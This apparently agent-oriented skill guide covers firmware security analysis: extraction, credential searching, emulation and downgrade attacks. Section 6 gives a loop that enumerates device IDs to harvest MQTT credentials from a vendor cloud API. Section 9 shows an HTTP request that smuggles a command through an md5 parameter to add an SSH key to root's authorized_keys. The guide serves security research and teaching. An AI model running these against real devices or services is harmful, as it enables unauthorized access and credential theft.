Firmware Analysis Skill

A comprehensive guide for analyzing embedded device firmware to identify security vulnerabilities.

When to Use This Skill

Use this skill when:

• You have a firmware binary and need to analyze it for vulnerabilities
• You need to extract filesystems from embedded device images
• You're investigating IoT device security
• You need to find hardcoded credentials or secrets in firmware
• You want to analyze compiled binaries for security issues
• You're assessing firmware update mechanisms for downgrade vulnerabilities
• You need to emulate firmware for dynamic analysis

Workflow Overview

1. Gather Information - Understand the device architecture and components
2. Acquire Firmware - Obtain the firmware image through various methods
3. Initial Analysis - Identify file types, extract strings, check entropy
4. Extract Filesystem - Carve and extract the embedded filesystem
5. Security Analysis - Search for credentials, vulnerabilities, and weak configurations
6. Binary Analysis - Examine compiled binaries for exploitable issues
7. Dynamic Analysis - Emulate and test the firmware in a controlled environment

---

1. Information Gathering

Before deep analysis, collect intelligence about the device:

• CPU architecture (ARM, MIPS, x86, etc.)
• Operating system type
• Bootloader information
• Hardware layout and datasheets
• Available source code repositories
• External libraries and licenses
• Update history and version information
• Regulatory certifications (FCC, CE)

OSINT Tools:

• Coverity Scan for static analysis of open-source components
• LGTM for code quality and security issues
• Vendor support sites for documentation
• Google dork queries for firmware files

---

2. Firmware Acquisition Methods

Direct Sources

• Manufacturer support websites
• Developer portals
• Building from source (if available)

Indirect Sources

• Google dork queries:

  filetype:bin firmware

  ,

  filetype:bin firmware

  ,

  inurl:firmware

• Cloud storage scanning (S3Scanner for exposed buckets)
• Man-in-the-middle capture of update traffic
• Hardcoded update endpoints in device code

Physical Extraction

• UART connection for boot logs and console access
• JTAG for memory dumping
• PICit for chip reading
• Direct chip removal and reading (last resort)

---

3. Initial Firmware Analysis

Basic Inspection Commands

# Identify file type
file <firmware.bin>

# Extract printable strings (minimum 8 chars)
strings -n8 <firmware.bin>

# Extract strings with hex offsets
strings -tx <firmware.bin>

# View header (first 512 bytes)
hexdump -C -n 512 <firmware.bin> > hexdump.out

# Check for partition signatures
hexdump -C <firmware.bin> | head

# List partitions and filesystems
fdisk -lu <firmware.bin>

# Check entropy (encryption indicator)
binwalk -E <firmware.bin>

Entropy Interpretation:

• Low entropy: Likely not encrypted
• High entropy: Possibly encrypted or compressed

Embedded File Extraction

# Extract embedded files
binwalk -e <firmware.bin>

# Extract and decompress
binwalk -eM <firmware.bin>

# Visual inspection
# Use binvis.io for file structure visualization

---

4. Filesystem Extraction

Automatic Extraction with Binwalk

# Extract filesystem (creates directory based on type)
binwalk -ev <firmware.bin>

Common filesystem types: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs

Manual Filesystem Carving

When binwalk doesn't recognize the filesystem:

# Find filesystem offset
binwalk <firmware.bin>

# Example output shows offset at 0x1A0094 (1704084 decimal)
# Carve the filesystem
dd if=<firmware.bin> bs=1 skip=1704084 of=extracted.squashfs

# Or using hex offset
dd if=<firmware.bin> bs=1 skip=$((0x1A0094)) of=extracted.squashfs

Filesystem-Specific Extraction

SquashFS:

unsquashfs extracted.squashfs
# Files appear in squashfs-root/

CPIO Archive:

cpio -ivd --no-absolute-filenames -F <firmware.bin>

JFFS2:

jefferson rootfsfile.jffs2

UBIFS (NAND flash):

ubireader_extract_images -u UBI -s <start_offset> <firmware.bin>
ubidump.py <firmware.bin>

---

5. Security Analysis

Credential Discovery

Check these locations for hardcoded credentials:

# User credentials
cat squashfs-root/etc/shadow
cat squashfs-root/etc/passwd

# SSL certificates and keys
find squashfs-root/etc/ssl -name "*.key" -o -name "*.pem"

# Configuration files with secrets
find squashfs-root -name "*.conf" -o -name "*.cfg" -o -name "*.ini"

# Search for common credential patterns
grep -r "password" squashfs-root/
grep -r "secret" squashfs-root/
grep -r "api_key" squashfs-root/
grep -r "token" squashfs-root/

Automated Security Scanning

LinPEAS - Privilege escalation and sensitive info:

# Run in extracted filesystem
./linpeas.sh

Firmwalker - Firmware security analysis:

firmwalker -f <firmware.bin>

FACT (Firmware Analysis and Comparison Tool):

# Comprehensive firmware analysis
fact <firmware.bin>

Other Tools:

• FwAnalyzer - Static and dynamic analysis
• ByteSweep - Vulnerability scanning
• EMBA - Embedded malware analysis

Binary Security Checks

Unix Binaries (checksec.sh):

checksec.sh --file=<binary>
# Checks: NX, PIE, RELRO, Stack Canary, FORTIFY_SOURCE

Windows Binaries (PESecurity):

PESecurity <binary.exe>

---

6. Cloud Configuration and MQTT Credential Harvesting

Many IoT devices derive cloud config tokens from device IDs using hardcoded secrets.

Token Derivation Pattern

Common pattern:

token = MD5(deviceId || STATIC_KEY)

# Derive token from device ID
DEVICE_ID="d88b00112233"
STATIC_KEY="cf50deadbeefcafebabe"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
echo "Token: $TOKEN"

Cloud Config Harvesting

# Fetch cloud configuration
API_HOST="https://api.vendor.tld"
curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq .

# Extract MQTT credentials
jq '.mqtt.username, .mqtt.password, .mqtt.host'

MQTT Access

# Subscribe to device topics
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
  -i <client_id> -u <username> -P <password> \
  -t "<topic_prefix>/<deviceId>/admin" -v

Device ID Enumeration (Authorized Testing Only)

# Enumerate predictable device IDs
API_HOST="https://api.vendor.tld"
STATIC_KEY="cf50deadbeef"
PREFIX="d88b1603"  # OUI + product type

for SUF in $(seq -w 000000 0000FF); do
  DEVICE_ID="${PREFIX}${SUF}"
  TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
  curl -fsS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq -r '.mqtt.username,.mqtt.password' | sed "/null/d" && echo "$DEVICE_ID"
done

⚠️ Always obtain explicit authorization before enumeration.

---

7. Firmware Emulation

QEMU Setup

# Install QEMU emulation tools
sudo apt-get install qemu qemu-user qemu-user-static \
  qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils

Architecture Detection

# Check binary architecture
file squashfs-root/bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32...

Running Emulated Binaries

MIPS Big-Endian:

qemu-mips <binary>

MIPS Little-Endian:

qemu-mipsel <binary>

ARM:

qemu-arm <binary>

Full System Emulation

• Firmadyne - Automated firmware emulation
• Firmware Analysis Toolkit - Comprehensive emulation framework

---

8. Dynamic Analysis

Runtime Analysis Tools

GDB Multiarch:

gdb-multiarch <binary>
# Set breakpoints, step through code, inspect memory

Frida:

# Dynamic instrumentation
frida -U -f <process> -l hook.js

Ghidra:

# Static and dynamic analysis
# Set breakpoints, trace execution, decompile

Runtime Analysis Checklist

• Maintain shell access to emulated environment
• Test exposed web interfaces
• Analyze network services
• Check bootloader vulnerabilities
• Verify firmware integrity mechanisms
• Look for backdoor functionality

---

9. Firmware Downgrade Attacks

Attack Vector

Many devices verify firmware signatures but don't check version numbers, allowing rollback to vulnerable versions.

Attack Workflow

1. Obtain older signed firmware

   • Vendor download portals
   • Mobile app assets (APK extraction)
   • Third-party repositories

2. Extract from mobile apps:

apktool d vendor-app.apk -o vendor-app
ls vendor-app/assets/firmware/

3. Upload via update endpoint

   • Web UI
   • Mobile app API
   • TFTP, MQTT, USB

4. Exploit patched vulnerabilities

   • Command injection
   • Authentication bypass
   • Privilege escalation

Example: Command Injection After Downgrade

POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0

Update Mechanism Checklist

• Transport security (TLS + authentication)
• Version comparison or anti-rollback counter
• Secure boot chain verification
• Userland sanity checks (partition map, model number)
• Consistent validation across all update flows

---

10. Practice Resources

Vulnerable Firmware Projects

• OWASP IoTGoat - https://github.com/OWASP/IoTGoat
• DVRF (Damn Vulnerable Router Firmware) - https://github.com/praetorian-code/DVRF
• DVAR (Damn Vulnerable ARM Router) - https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
• ARM-X - https://github.com/therealsaumil/armx
• Azeria Labs VM 2.0 - https://azeria-labs.com/lab-vm-2-0/
• DVID (Damn Vulnerable IoT Device) - https://github.com/Vulcainreo/DVID

Pre-configured Analysis Environments

• AttifyOS - https://github.com/adi0x90/attifyos
• EmbedOS - https://github.com/scriptingxss/EmbedOS

---

Quick Reference Commands

# Initial analysis
file <bin>
strings -n8 <bin>
binwalk -E <bin>
binwalk -ev <bin>

# Filesystem extraction
dd if=<bin> bs=1 skip=<offset> of=fs.squashfs
unsquashfs fs.squashfs

# Credential search
grep -r "password\|secret\|api_key" squashfs-root/

# Binary analysis
checksec.sh --file=<binary>
file <binary>

# Emulation
qemu-mipsel <binary>
qemu-arm <binary>

# Token derivation
printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}'

---

Security Considerations

• Always work in isolated environments (VMs, containers)
• Obtain authorization before testing on devices you don't own
• Be aware of legal implications of firmware modification
• Document findings responsibly
• Report vulnerabilities to vendors through proper channels
• Never use this skill for unauthorized access or malicious activities